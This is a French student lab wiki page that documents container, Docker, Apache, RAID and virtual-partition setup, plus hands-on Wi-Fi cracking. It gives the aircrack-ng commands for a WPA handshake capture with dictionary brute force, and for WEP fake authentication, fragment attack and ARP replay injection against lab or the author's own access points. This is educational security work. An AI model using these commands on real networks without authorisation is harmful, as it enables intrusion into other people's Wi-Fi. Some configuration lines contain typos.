TP sysres IMA5sc 2018/2019 G9 : Différence entre versions

De Wiki d'activités IMA
(→‎Crack de réseau Wifi WPA)
(→‎Crack de réseau WEP)
 
(9 révisions intermédiaires par le même utilisateur non affichées)
Ligne 514 : Ligne 514 :
 
   airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0
 
   airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0
  
−
[[fichier:Airodump.png|center]]
+
[[fichier:Handshake2.png|center]]
  
 
Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.
 
Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.
Ligne 544 : Ligne 544 :
  
 
L'image ci dessus nous montre enfin la clé WPA de cracotte04.
 
L'image ci dessus nous montre enfin la clé WPA de cracotte04.
 +
Ce processus nous fait réaliser que la méthode de brute-force est très peu efficace (7h de traitement sur les zabeth), un mot de passe avec des caractères spéciaux, chiffres, majuscules, minuscules et beaucoup de caractères sera donc impossible à casser avec cette méthode.
 +
 +
==Utilisation de partitions virtuelles==
 +
 +
Dans cette partie nous allons mettre en place des partitions virtuelles dans notre machine, ces partitions étant hébergées sur cordouan.
 +
 +
On commence par créer les partitions sur cordouan :
 +
 +
  lvcreate -L10G -n aphrodite-home virtual
 +
  lvcreate -L10G -n aphrodite-var virtual
 +
 +
  lvcreate -L10G -n aphrodite-part1 virtual
 +
  lvcreate -L10G -n aphrodite-part2 virtual
 +
  lvcreate -L10G -n aphrodite-part3 virtual
 +
 +
On ajoute ces partitions dans /etc/xen/aphrodite.cfg :
 +
 +
  disk = [
 +
  'file:/usr/local/xen/domains/Aphrodite/disk.img,xvda2,w',
 +
  'file:/usr/local/xen/domains/Aphrodite/swap.img,xvda1,w',
 +
  'phy:/dev/virtual/aphrodite-home,xvdb1,w',
 +
  'phy:/dev/virtual/aphrodite-var,xvdc1,w'
 +
  'phy:/dev/virtual/aphrodite-part1,xvdd1,w'
 +
  'phy:/dev/virtual/aphrodite-part2,xvde1,w'
 +
  'phy:/dev/virtual/aphrodite-part3,xvdf1,w'
 +
  ]
 +
 +
Les deux premières partitions serviront à var et home, et les trois suivantes serviront à créer un raid logiciel.
 +
 +
Afin que les modifications soient effectives, on reboot la VM.
 +
 +
===Var et Home===
 +
 +
De retour sur la VM, on créé un système de fichiers sur /dev/xvdb1 et /dev/xvdc1 :
 +
 +
  mkfs -t ext4 /dev/xvdb1
 +
  mkfs -t ext4 /dev/xvdc1
 +
 +
Le home de notre VM étant vide, nous pouvons directement monter la nouvelle partition. Pour cela, on se rend dans /etc/fstab, et on modifie le point de montage existant du home :
 +
 +
  /dev/xvdb1 /home ext4 defaults 0 2
 +
 +
C'en est tout pour le home, passons au var. La procédure sera légèrement différente dans le sens ou nous souhaitons sauver le contenu de notre var.
 +
 +
Pour cela, nous allons créer un point de montage temporaire de notre nouvelle partition var :
 +
 +
  mkdir /mnt_var
 +
  mount /dev/xvdc1 /mnt_var
 +
 +
Nous transférons le contenu de notre ancier dossier var dans la nouvelle partition précédemment montée :
 +
 +
  cd /var
 +
  cp -ax * /mnt_var
 +
 +
 +
Nous faisons ensuite un backup de notre ancien dossier var :
 +
 +
  mv /var /var.old
 +
 +
On recrée le point de montage, on démonte le point de montage temporaire et on monte le nouveau var :
 +
 +
  mkdir /var
 +
  umount /dev/xvdc1
 +
  mount /dev/xvdc1 /var
 +
 +
On peut vérifier que tout est ok en lançant un apt-get update et vérifier qu'il n'y a pas de souci.
 +
 +
Ceci étant validé, il nous reste à ajouter la ligne suivante au /etc/fstab pour que le var soit monté à chaque démarrage de la VM :
 +
 +
  /dev/xvdc1 /var ext4 defaults 0 0
 +
 +
Pour terminer, après avoir vérifié que tout est en ordre, on fait un peu de ménage :
 +
 +
  rm -r /mnt_var
 +
  rn -r /var.old
 +
 +
===RAID===
 +
Nous allons maintenant créer un RAID5 logiciel constitué des 3 partitions créées précédemment.
 +
Pour ce faire, nous utiliserons l'utilitaire mdadm.
 +
 +
Les trois partitions sont sur /dev/xvdd1, /dev/xvde1, et /dev/xvdf1.
 +
 +
Nous allons donc créer le raid5 sur /dev/md0
 +
 +
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdf1
 +
 +
On créé ensuite un filesystem dans la nouvelle partition raid :
 +
 +
  mkfs -t ext4 /dev/md0
 +
 +
On créé un point de montage et on monte la partition :
 +
 +
  mkdir /mnt_raid5
 +
  mount /dev/md0 /mnt_raid5
 +
 +
On automatise la création de la grappe :
 +
 +
  mdadm --monitor --daemonise /dev/md0
 +
 +
Enfin, on automatise le montage de la partition en ajoutant la ligne suivante au /etc/fstab :
 +
 +
  /dev/md0 /mnt_raid5/ ext4 defaults 0 1
 +
 +
Le lancement de la commande suivante permet de confirmer que tout est ok :
 +
 +
  mdadm --detail /dev/md0
 +
 +
[[fichier:Raid5.png|center]]
 +
 +
=Séance 6=
 +
==Crack de réseau WEP==
 +
Nous avons essayé en classe de cracker les cracottes configurées en WEP, et nous nous sommes retrouvés face à deux problèmes :
 +
 +
1) Bien que la découverte des réseaux et du handshake se soit déroulés à merveille sur mon ordinateur avec sa carte wifi Qualcomm Atheros QCA9565 / AR9565, ici il m'était impossible de voir les réseaux WEP correctement avec airodump, je voyais des channel -1 et beaucoup d'autres choses abérantes. Après quelque recherches, des drivers non adaptés seraient la cause du souci. Je passe donc sur les dongles wifi mis à disposition.
 +
 +
2) Avec les dongles wifi, il n'y avais plus d'incohérences, mais je n'ai pas réussi à obtenir suffisamment de data pour cracker le réseau. Cela s'explique notemment par le fait qu'aucun client n'était connecté sur la cracotte, je ne pouvais pas faire d'attaque par deauthentication.
 +
 +
J'ai donc configuré une bbox en WEP avec le mot de passe le plus long (26 caractères), non connectée à internet, et uniquement connectée un smartphone.
 +
Je boot ensuite un kali linux, l'image intégrant des drivers compatibles avec aircrack. L'operation peut commencer.
 +
 +
On liste les interfaces réseau :
 +
 +
  airmon-ng
 +
 +
Mon interface s'appelle wlan0, je la passe en monitor mode :
 +
 +
  airmon-ng start wlan0
 +
 +
Maintenant l'interface s'appelle wlan0mon. On lance le scan des réseaux WEP :
 +
 +
  airodump-ng --encrypt wep wlan0mon
 +
 +
[[fichier:Screenshot from 2018-12-17 22-01-04 2.png|center]]
 +
 +
La box que nous allons attaquer s'appelle BOX_PRA. On récupère son BSSID, sa channel, et on lance la capture dans un fichier wep-*.cap :
 +
 +
  airodump-ng --bssid 64:7C:34:76:CF:8C --ch 9 --write wep wlan0mon
 +
 +
La chose qui nous intéresse ici est le nombre de data. Plus son nombre est grand, plus nous avons de chance d'avoir les infos qui nous permetteront de décrypter la clé WEP. Un bon ordre de grandeur est autour de 20000.
 +
Malheureusement ce nombre de data n'augmente pas rapidement car le trafic est quasi nul. C'est pourquoi nous allons faire de fausses connections à labos, ce qui nous permettra d'injecter par la suite des paquets ARP :
 +
 +
  aireplay-ng --fakeauth 30 -a 64:7C:34:76:CF:8C wlan0mon
 +
 +
Afin de générer le paquet ARP, nous allons utiliser une attaque "fragment" :
 +
 +
  aireplay-ng --fragment -b 64:7C:34:76:CF:8C -r wep-01.cap wlan0mon
 +
 +
Si l'attaque réussit, nous pouvons voir "GET A RELAYED PACKET". Ceci nous permet de générer un keystream, qui nous sera utile pour générer le paquet ARP :
 +
 +
  packetforge-ng --arp -a 64:7C:34:76:CF:8C -h EC:0E:C4:0E:FD:71 -k 192.168.1.2 -l 192.168.1.254 -y fragment-1217-222915.xor -w arp
 +
 +
On sait que la box est une bbox, cette dernière utilise apr défaut l'ip 192.168.1.254. On choisit arbitrairement 192.168.1.2 comme IP destinée à recevoir le paquet. On choisit aussi une MAC correcpondant à un 'client'.
 +
Notre paquet ARP est maintenant prêt, on lance l'injection :
 +
 +
  aireplay-ng --arpreplay -b 64:7C:34:76:CF:8C -r arp wlan0mon
 +
 +
Au lancement,on remarque que le nombre de data capturées augmente significativement, pour ensuite s'arrêter lorsqu'un client régulier s'est fait déconnecter. On arrête l'injection, et on recommence quelque secondes plus tard.
 +
 +
Une fois le nombre de data suffisant, on lance le crack :
 +
 +
  aircrack-ng wep-01.cap
 +
 +
Et KEY FOUND !
 +
 +
[[fichier:Screenshot from 2018-12-17 22-37-26.png|center|800px]]
 +
 +
Pour conclure, on comprend bien ici pourquoi la sécurisation WEP a disparu : un réseau sécurisé avec le nombre maximum de caractères est piratable en quelque minutes, sans le moindre dictionnaire, uniquement avec des paquets récupérés. Le WPA est donc une excellente alternative au WEP.

Version actuelle datée du 17 décembre 2018 à 22:46

Sommaire

Séance 1 : TP ASR

Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.

Création d'un container avec unshare

Création de l'image disque

 dd if=/dev/zero of=disc1.img bs=1024K count=10240

Mise en place du file system

 mkfs disc1.img

Création du point de montage et montage de l'image

 mkdir /tmp/rootfs1
 mount -o loop disc1.img /tmp/rootfs1

Installation du debian dans le point de montage

Afin de pouvoir installer debian, il faut que la machine accède à internet : 

 export http_proxy=http://proxy.polytech-lille.fr:3128/

debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 : 

 debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1

Simplification de l'accès

 echo "proc /proc proc defaults 0 0" >> /tmp/rootfs1/etc/fstab

Clonage des images

 L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :

 umount /tmp/rootfs1

On copie l'image : 

 cp disc1.img disc2.img
 cp disc1.img disc3.img

On monte les 3 images : 

 mount -o loop disc1.img /tmp/rootfs1
 mount -o loop disc2.img /tmp/rootfs2
 mount -o loop disc3.img /tmp/rootfs3

Lancement des trois containers

 unshare nous permet de lancer les trois images précédemment montées :

 unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c "mount /proc ; /bin/bash"
 unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c "mount /proc ; /bin/bash"
 unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c "mount /proc ; /bin/bash"

Les trois containers sont maintenant lancés, nous pouvons travailler dessus.

Mise en place du réseau

Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.

Création de 4 interfaces virtuelles

 ip link add vif1 type veth peer name eth0@vif1
 ip link add vif2 type veth peer name eth0@vif2
 ip link add vif3 type veth peer name eth0@vif3
 ip link add vif4 type veth peer name eth1@vif4

Connexion de chaque interface à une interface eth0 sur les containers

 ip link set eth0@vif1 netns /proc/<pid1>/ns/net name eth0
 ip link set eth0@vif2 netns /proc/<pid2>/ns/net name eth0
 ip link set eth0@vif3 netns /proc/<pid3>/ns/net name eth0

pid1, pid2, pid3 peuvent être déterminés via la commande : 

 ps aux | grep unshare

Connexion à eth1 sur le premier container

 ip link set eth1@vif1 netns /proc/<pid1>/ns/net name eth1

Création d'un bridge

 ip link add interne type bridge

Ajout de vif4 à bridge

L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge 

 ip link set vif4 master bridge

Ajout de vif1, vif2, vif3 à interne

 ip link set vif1 master interne
 ip link set vif2 master interne
 ip link set vif3 master interne

Activation de toutes les interfaces

 ip link set vif1 up
 ip link set vif2 up
 ip link set vif3 up
 ip link set bridge up
 ip link set interne up

Attribution des adresses ip

On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge : 

 nsenter -t <PID1> -n ip address add dev eth0 192.168.4.1/24

 nsenter -t <PID2> -n ip address add dev eth0 192.168.4.2/24

 nsenter -t <PID3> -n ip address add dev eth0 192.168.4.3/24

On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 : 

 nsenter -t <PID1> -n ip address add dev eth1 172.26.145.234/24

Activation des interfaces sur les containers>

Sur chaque containers, lancer : 

 ip link set dev eth0 up
 ip link set dev lo up

Ainsi que sur le container 1 : 

 ip link set dev eth1 up

Les containers sont maintenant fonctionnels et connectés selon le schéma suivant : 

 bridge : eth0 eth1 vif4

 interne : vif1 vif2 vif3

Et donc : 

root@zabeth04:/home/pifou# brctl show
bridge name	bridge id		STP enabled	interfaces
br-d8330a30a134		8000.0242b8ae38c5	no
bridge		8000.00224d7aeaa1	no		eth0
                                        eth1
                                        vif4
docker0		8000.0242ad165937	no		veth0b1f71b
interne		8000.3ee68d5b1e14	no		vif1
                                        vif2
                                        vif3

Séance 2 : TP ASR (suite)

Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.

Attribution des noms de domaine

Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.

Onglet Domaines, on choisit le domaine plil.space.

Onglet DNS Records, on ajoute un DNS type A : 

 Nom : tham2
 IP : 172.26.145.234

Puis on ajoute deux DNS type Cname : 

 Nom : tham1 & tham3
 Nom d'hote : tham2

De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space

Configuration d'apache2

Fichier conf

Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf : 

 <VirtualHost *:80>
 	ServerName tham1.plil.space
 	ServerAdmin webmaster@tham1.plil.space
 	DocumentRoot /var/www/html/tham1/
 
 	ProxyPass / http://192.168.4.2/
 	ProxyPassReverse / http://192.168.4.2/
 	ProxyRequests Off
 
 	ErrorLog ${APACHE_LOG_DIR}/error.log
 	CustomLog ${APACHE_LOG_DIR}/access.log combined
 </VirtualHost>

 <VirtualHost *:80>
     ServerName tham3.plil.space
     ServerAdmin webmaster@tham3.plil.space
 	DocumentRoot /var/www/html/tham3/
 	
     ProxyPass / http://192.168.4.3/
     ProxyPassReverse / http://192.168.4.3/
     ProxyRequests Off
 
 	ErrorLog ${APACHE_LOG_DIR}/error.log
     CustomLog ${APACHE_LOG_DIR}/access.log combined
 </VirtualHost>

On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)

Activation des modules proxy et proxy_http

 a2enmod proxy
 a2enmod proxy_http

Activation du site

 a2ensite 000-default.conf

Tout est maintenant configuré, on peut donc rebooter apache : 

 service apache2 restart

Création d'une page web

Dans les containers 2 et 3 on créé une simple page web et on reboot apache :

Container 2 : 

 cat 1 /var/www/html/index.html
 service apache2 restart

Container 3 : 

 cat 3 /var/www/html/index.html
 service apache2 restart

Visualisation de la page web

On commence par désactiver le proxy sur firefox, et on peut accéder aux pages : 

 tham1.plil.space/index.html

firefox affiche 1 

 tham3.plil.space/index.html

firefox affiche 3

Création d'un conteneur avec Docker :

Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.

Création d'une première image :

Nous avons créé un premier container à l'aide la commande : 

docker run -i -t debian /bin/bash

Exporte de la variable d'environement hhtp_proxy : 

export http_proxy=http://proxy.polytech-lille.fr:3128/

Instalation d'un éditeur de texte et d'un serveur web : 

apt-get install nano vi apache2

Création de trois conteneurs dans un même réseau :

Avec un docker ps nous avons recupérer l'id du conteneur puis : 

docker commit -m "debian" 367f5e8adddf

Création d'un réseau : 

docker network create tham

Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : 

docker run --net tham -i -t b7f9916f224e /bin/bash
docker run --net tham -i -t b7f9916f224e /bin/bash
docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash

Et donc : 

root@zabeth04:/home/pifou# docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES
8e4a821cf3a3        b7f9916f224e        "/bin/bash"              18 minutes ago      Up 18 minutes                                confident_leakey
c5ec790866ae        b7f9916f224e        "/bin/bash"              19 minutes ago      Up 19 minutes                                objective_golick
b287061163af        b7f9916f224e        "/bin/bash"              22 minutes ago      Up 22 minutes       0.0.0.0:80->80/tcp       objective_bhabha
8ee36885e7fb        registry:2          "/entrypoint.sh /etc…"   5 weeks ago         Up 38 minutes       0.0.0.0:5000->5000/tcp   registry

Configuration de apache2 :

Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique Puis dans /etc/apache2/sites-available/ : 

root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf
<VirtualHost *:80>
	 ServerName tham1.plil.space
	 ServerAdmin webmaster@tham1.plil.space
	 DocumentRoot /var/www/html/tham1/

	 ProxyPass / http://192.168.4.2/
	 ProxyPassReverse / http://192.168.4.2/
	 ProxyRequests Off

	 ErrorLog ${APACHE_LOG_DIR}/error.log
	 CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
        ServerName tham3.plil.space
        ServerAdmin webmaster@tham3.plil.space
	 DocumentRoot /var/www/html/tham3/

        ProxyPass / http://192.168.4.3/
        ProxyPassReverse / http://192.168.4.3/
        ProxyRequests Off

	 ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.

11h10 => Serveurs Web OK (unshare)

12h20 => Serveurs Web OK (docker)

Séance 3 : TP PRA

Le sujet choisi ici est le sujet n°10 : HP + DAS -> Baie. Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.

Le matériel

Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :

XX XX

Le SAS est un HP StorageWorks MSA60. Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.

Sur le panneau arrière nous constatons qu'il y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)

Mise en route du serveur

Lors de la mise en route du serveur, nous constations trois problèmes : 

-Les ventilateurs tournent à  100% sans arrêt.
-La LED internal health clignote rouge.
-Un bip long est émis périodiquement.

De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.

Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.

Une fois remonté, le serveur bootait correctement.

Installation de Devuan

Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé. Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.

Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.

Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).

Configurations réseau

Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.

Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces : 

 nano /etc/network/interfaces

Pour l'interface eth0 : 

 address 127.26.145.146/24
 gateway 192.26.145.253

Ensuite, nous avons configuré les DNS : 

 nano /etc/resolv.conf

 domain polytech-lille.org
 search deule.net
 nameserver 192.48.57.48
 nameserver 193.48.57.33

Et enfin nous avons ajouté le proxy polytech : 

 nano ~/.profile

 export http_proxy=http://proxy.polytech-lille.fr:3128

Une fois fait, notre serveur avait accès au réseau de polytech.

Mise en route du DAS

Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.

IMAGE

Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.

Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles. Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.

De retour sur devuan, la grappe est visible via lsblk.

Installation des outils HP

HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.

L'installation se fait via les étapes suivantes :

Ajout du dépôt : 

 nano /etc/apt/sources.list

 deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free
 deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free

Ajout des clés : 

 curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -
 curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -
 curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -
 curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -

Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list : 

 nano /etc/apt/sources.list

 deb http://deb.devuan.org/merged ascii main
 deb-src http://deb.devuan.org/merged ascii main

Rafraîchir les sources : 

 apt-get update

Installer curl : 

 apt-get install curl

Réessayer d'ajouter les clés.

Une fois fait, on eut procéder à l'installation des outils HP : 

 apt-get install hp-health ssacli

Séance 4 : TP PRA (Suite)

Dans un premier temps, nous commençons par remplacer les disques défectueux. Grâce à la commande 

 ssacli ctrl all show config detail

nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).

Nous procédons au remplacement par des disques neufs.

Une fois fait, nous ajoutons le disque 6 qui était manquant.

Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.

On entre dans le programme ssacli et on fait un premier était des lieux : 

 ctrl all show config

Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.

On liste ensuite les disques physiques : 

 ctrl slot 4 pd all show

Notre disque a ajouter est le 1E:1:6

On l'ajoute alors a la grappe B : 

 array B add drives=1E:1:6

Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande : 

 show

IMAGE

Etant donné que nous n'avons pas de données perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle. 

 controller slot=4 array B delete

 ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5

La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état : 

 array B show

 ctrl slot=4 show config

De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.

Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction : 

 ctrl slot=4 show config


Reconstruction raid.jpg

Séance 5 : Mise en place du serveur DNS et crack WPA2

Mise en place du serveur DNS

Crack de réseau Wifi WPA

Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.

Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :

Ifconfig.png

Dans notre cas elle s'appelle wlp3s0.

On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes : 

 ifconfig wlp3s0 down

On place la carte en "monitor mode" 

 airmon-ng start wlp3s0

On peut vérifier que l'interface est bien en monitor mode avec airmon-ng

Airmonng.png

Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible : 

 airodump-ng mon0
Airodump.png

De ce scan, nous tirons plusieurs informations : -Les cracottes sont disponibles, nous nous concentrons sur cracotte04. -Nous notons son BSSID : 04:DA:D2:9C:50:53 -Son channel : 9

Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump : 

 airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0
Handshake2.png

Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.

La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.

Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons : 

 #include <stdio.h>
 
 int main() {
 	for(int i=0;i<=99999999;i++) {
 		printf("%08d\n",i);
 	}
 }

 gcc -o dico dico.c
 ./dico > dico.txt

On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.

Le brute-force peut maintenant commencer : 

 aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt

Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :

Keyfound.png

L'image ci dessus nous montre enfin la clé WPA de cracotte04. Ce processus nous fait réaliser que la méthode de brute-force est très peu efficace (7h de traitement sur les zabeth), un mot de passe avec des caractères spéciaux, chiffres, majuscules, minuscules et beaucoup de caractères sera donc impossible à casser avec cette méthode.

Utilisation de partitions virtuelles

Dans cette partie nous allons mettre en place des partitions virtuelles dans notre machine, ces partitions étant hébergées sur cordouan.

On commence par créer les partitions sur cordouan : 

 lvcreate -L10G -n aphrodite-home virtual
 lvcreate -L10G -n aphrodite-var virtual

 lvcreate -L10G -n aphrodite-part1 virtual
 lvcreate -L10G -n aphrodite-part2 virtual
 lvcreate -L10G -n aphrodite-part3 virtual

On ajoute ces partitions dans /etc/xen/aphrodite.cfg : 

 disk = [
 		'file:/usr/local/xen/domains/Aphrodite/disk.img,xvda2,w',
 		'file:/usr/local/xen/domains/Aphrodite/swap.img,xvda1,w',
 		'phy:/dev/virtual/aphrodite-home,xvdb1,w',
 		'phy:/dev/virtual/aphrodite-var,xvdc1,w'
 		'phy:/dev/virtual/aphrodite-part1,xvdd1,w'
 		'phy:/dev/virtual/aphrodite-part2,xvde1,w'
 		'phy:/dev/virtual/aphrodite-part3,xvdf1,w'
 	 ]

Les deux premières partitions serviront à var et home, et les trois suivantes serviront à créer un raid logiciel.

Afin que les modifications soient effectives, on reboot la VM.

Var et Home

De retour sur la VM, on créé un système de fichiers sur /dev/xvdb1 et /dev/xvdc1 : 

 mkfs -t ext4 /dev/xvdb1
 mkfs -t ext4 /dev/xvdc1

Le home de notre VM étant vide, nous pouvons directement monter la nouvelle partition. Pour cela, on se rend dans /etc/fstab, et on modifie le point de montage existant du home : 

 /dev/xvdb1 /home ext4 defaults 0 2

C'en est tout pour le home, passons au var. La procédure sera légèrement différente dans le sens ou nous souhaitons sauver le contenu de notre var.

Pour cela, nous allons créer un point de montage temporaire de notre nouvelle partition var : 

 mkdir /mnt_var
 mount /dev/xvdc1 /mnt_var

Nous transférons le contenu de notre ancier dossier var dans la nouvelle partition précédemment montée : 

 cd /var
 cp -ax * /mnt_var


Nous faisons ensuite un backup de notre ancien dossier var : 

 mv /var /var.old

On recrée le point de montage, on démonte le point de montage temporaire et on monte le nouveau var : 

 mkdir /var
 umount /dev/xvdc1
 mount /dev/xvdc1 /var

On peut vérifier que tout est ok en lançant un apt-get update et vérifier qu'il n'y a pas de souci.

Ceci étant validé, il nous reste à ajouter la ligne suivante au /etc/fstab pour que le var soit monté à chaque démarrage de la VM : 

 /dev/xvdc1 /var ext4 defaults 0 0

Pour terminer, après avoir vérifié que tout est en ordre, on fait un peu de ménage : 

 rm -r /mnt_var
 rn -r /var.old

RAID

Nous allons maintenant créer un RAID5 logiciel constitué des 3 partitions créées précédemment. Pour ce faire, nous utiliserons l'utilitaire mdadm.

Les trois partitions sont sur /dev/xvdd1, /dev/xvde1, et /dev/xvdf1.

Nous allons donc créer le raid5 sur /dev/md0 

 mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdf1

On créé ensuite un filesystem dans la nouvelle partition raid : 

 mkfs -t ext4 /dev/md0

On créé un point de montage et on monte la partition : 

 mkdir /mnt_raid5
 mount /dev/md0 /mnt_raid5

On automatise la création de la grappe : 

 mdadm --monitor --daemonise /dev/md0

Enfin, on automatise le montage de la partition en ajoutant la ligne suivante au /etc/fstab : 

 /dev/md0 /mnt_raid5/ ext4 defaults 0 1

Le lancement de la commande suivante permet de confirmer que tout est ok : 

 mdadm --detail /dev/md0
Raid5.png

Séance 6

Crack de réseau WEP

Nous avons essayé en classe de cracker les cracottes configurées en WEP, et nous nous sommes retrouvés face à deux problèmes :

1) Bien que la découverte des réseaux et du handshake se soit déroulés à merveille sur mon ordinateur avec sa carte wifi Qualcomm Atheros QCA9565 / AR9565, ici il m'était impossible de voir les réseaux WEP correctement avec airodump, je voyais des channel -1 et beaucoup d'autres choses abérantes. Après quelque recherches, des drivers non adaptés seraient la cause du souci. Je passe donc sur les dongles wifi mis à disposition.

2) Avec les dongles wifi, il n'y avais plus d'incohérences, mais je n'ai pas réussi à obtenir suffisamment de data pour cracker le réseau. Cela s'explique notemment par le fait qu'aucun client n'était connecté sur la cracotte, je ne pouvais pas faire d'attaque par deauthentication.

J'ai donc configuré une bbox en WEP avec le mot de passe le plus long (26 caractères), non connectée à internet, et uniquement connectée un smartphone. Je boot ensuite un kali linux, l'image intégrant des drivers compatibles avec aircrack. L'operation peut commencer.

On liste les interfaces réseau : 

 airmon-ng

Mon interface s'appelle wlan0, je la passe en monitor mode : 

 airmon-ng start wlan0

Maintenant l'interface s'appelle wlan0mon. On lance le scan des réseaux WEP : 

